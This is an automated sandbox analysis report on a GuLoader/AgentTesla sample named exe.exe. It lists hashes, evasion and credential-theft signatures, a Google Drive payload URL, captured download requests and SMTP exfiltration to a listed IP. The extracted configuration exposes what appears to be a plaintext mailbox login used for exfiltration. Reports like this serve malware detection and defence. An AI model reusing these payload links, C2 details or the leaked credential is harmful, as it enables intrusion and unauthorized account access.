Windows Analysis Report exe.exe

Overview

General Information

Sample Name: exe.exe
Analysis ID: 528196
MD5: ccdf9de19a42d303579dfcc11f846bcb
SHA1: 413b2f4c1cc4f242d50bd95faa7ca85bcbcfbdef
SHA256: 0a2a2c18fa708a33573b788860a4911e6d6d6fd3ddf8cacdddf4d9d100ca562d
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000004.00000000.173087350573.0000000000F00000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download"}
Source: conhost.exe.5668.5.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "gulnaz@furteksdokuma.com.tr@Gulnaz159753mail.furteksdokuma.com.trkevinlog25@gmail.com"}
Multi AV Scanner detection for submitted file
Source: exe.exe Virustotal: Detection: 20% Perma Link

Compliance:

barindex
Uses 32bit PE files
Source: exe.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 142.250.185.206:443 -> 192.168.11.20:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.225:443 -> 192.168.11.20:49801 version: TLS 1.2

Networking:

barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=download
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 116.202.203.61 116.202.203.61
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luicq00u81odku6djgi2itsobe9p/1637784000000/06007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0k-5k-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49823 -> 116.202.203.61:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49823 -> 116.202.203.61:587
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075825984.00000000201CE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075641973.00000000201AE000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: CasPol.exe, 00000004.00000003.174390973147.00000000010D2000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173182619305.00000000010D4000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057799249.00000000010D2000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178007336.00000000010DB000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178076040939.00000000201F5000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075641973.00000000201AE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.174391935597.00000000201F1000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057401527.0000000001085000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178076040939.00000000201F5000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075641973.00000000201AE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.174391935597.00000000201F1000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/cPanelIncCertificationAuthority.crl0
Source: CasPol.exe, 00000004.00000003.174390973147.00000000010D2000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173182619305.00000000010D4000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057799249.00000000010D2000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178007336.00000000010DB000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp String found in binary or memory: http://furteksdokuma.com.tr
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp String found in binary or memory: http://mail.furteksdokuma.com.tr
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178076040939.00000000201F5000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075825984.00000000201CE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075641973.00000000201AE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.174391935597.00000000201F1000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057401527.0000000001085000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: CasPol.exe, 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp String found in binary or memory: http://tbLjUn.com
Source: CasPol.exe, 00000004.00000003.173178007336.00000000010DB000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 00000004.00000003.173178007336.00000000010DB000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 00000004.00000003.173182619305.00000000010D4000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057401527.0000000001085000.00000004.00000020.sdmp String found in binary or memory: https://doc-0k-5k-docs.googleusercontent.com/
Source: CasPol.exe, 00000004.00000003.173182619305.00000000010D4000.00000004.00000001.sdmp String found in binary or memory: https://doc-0k-5k-docs.googleusercontent.com/(
Source: CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: https://doc-0k-5k-docs.googleusercontent.com/C
Source: CasPol.exe, 00000004.00000003.173178484304.00000000010DB000.00000004.00000001.sdmp String found in binary or memory: https://doc-0k-5k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luic
Source: CasPol.exe, 00000004.00000002.178057056788.0000000001048000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000004.00000002.178058495885.0000000001140000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178057401527.0000000001085000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8
Source: CasPol.exe, 00000004.00000003.173178419445.00000000010D4000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8n8F9DBSEsUFAom988
Source: CasPol.exe, 00000004.00000002.178069379415.000000001E112000.00000004.00000001.sdmp String found in binary or memory: https://lao1LlhpkeBMmFJyrpB.net
Source: CasPol.exe, 00000004.00000002.178069183188.000000001E0EE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178076040939.00000000201F5000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000002.178075641973.00000000201AE000.00000004.00000001.sdmp, CasPol.exe, 00000004.00000003.174391935597.00000000201F1000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0
Source: CasPol.exe, 00000004.00000002.178067906148.000000001DFE1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/voq4luicq00u81odku6djgi2itsobe9p/1637784000000/06007705055686197661/*/1TZC5rT7z4IslTtNi8eG1vxrTVZrhSZe8?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0k-5k-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 142.250.185.206:443 -> 192.168.11.20:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.185.225:443 -> 192.168.11.20:49801 version: TLS 1.2

System Summary:

barindex
Uses 32bit PE files
Source: exe.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_0040153C 2_2_0040153C
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_00401778 2_2_00401778
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_0040172B 2_2_0040172B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_3_010DB847 4_3_010DB847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E06D90 4_2_00E06D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E007E0 4_2_00E007E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E4C058 4_2_00E4C058
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E41130 4_2_00E41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E43A50 4_2_00E43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E4BA30 4_2_00E4BA30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E44320 4_2_00E44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E4C790 4_2_00E4C790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_00E43708 4_2_00E43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_0103BB60 4_2_0103BB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_01039B70 4_2_01039B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_010396F0 4_2_010396F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_0103DEC8 4_2_0103DEC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_1DDF5E08 4_2_1DDF5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_1DDF46C4 4_2_1DDF46C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_2_1DDF6AF1 4_2_1DDF6AF1
PE file contains executable resources (Code or Archives)
Source: exe.exe Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Sample file is different than original file name gathered from version info
Source: exe.exe, 00000002.00000000.173000055745.0000000000420000.00000002.00020000.sdmp Binary or memory string: OriginalFilenamenaturforholdene.exe vs exe.exe
Source: exe.exe Binary or memory string: OriginalFilenamenaturforholdene.exe vs exe.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\exe.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: exe.exe Virustotal: Detection: 20%
Source: exe.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\exe.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\exe.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\exe.exe "C:\Users\user\Desktop\exe.exe"
Source: C:\Users\user\Desktop\exe.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\exe.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\exe.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\exe.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\exe.exe File created: C:\Users\user\AppData\Local\Temp\~DFF6C17D3AB00DBF02.TMP Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/2@3/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5668:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5668:304:WilStaging_02
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000004.00000000.173087350573.0000000000F00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.173205979161.0000000002AD0000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_0040443B push ds; iretd 2_2_0040443C
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_00412CE9 pushfd ; iretd 2_2_00412CEF
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_004078BA push esp; ret 2_2_004078C0
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_00408951 push esi; iretd 2_2_0040895C
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_0040A585 push edi; ret 2_2_0040A587
Source: C:\Users\user\Desktop\exe.exe Code function: 2_2_02AD4D3F push edx; iretd 2_2_02AD4D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_3_010DBD4F push cs; iretd 4_3_010DBD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 4_3_010DCAEF push ds; retf 4_3_010DCAF0
Source: C:\Users\user\Desktop\exe.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\exe.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\exe.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
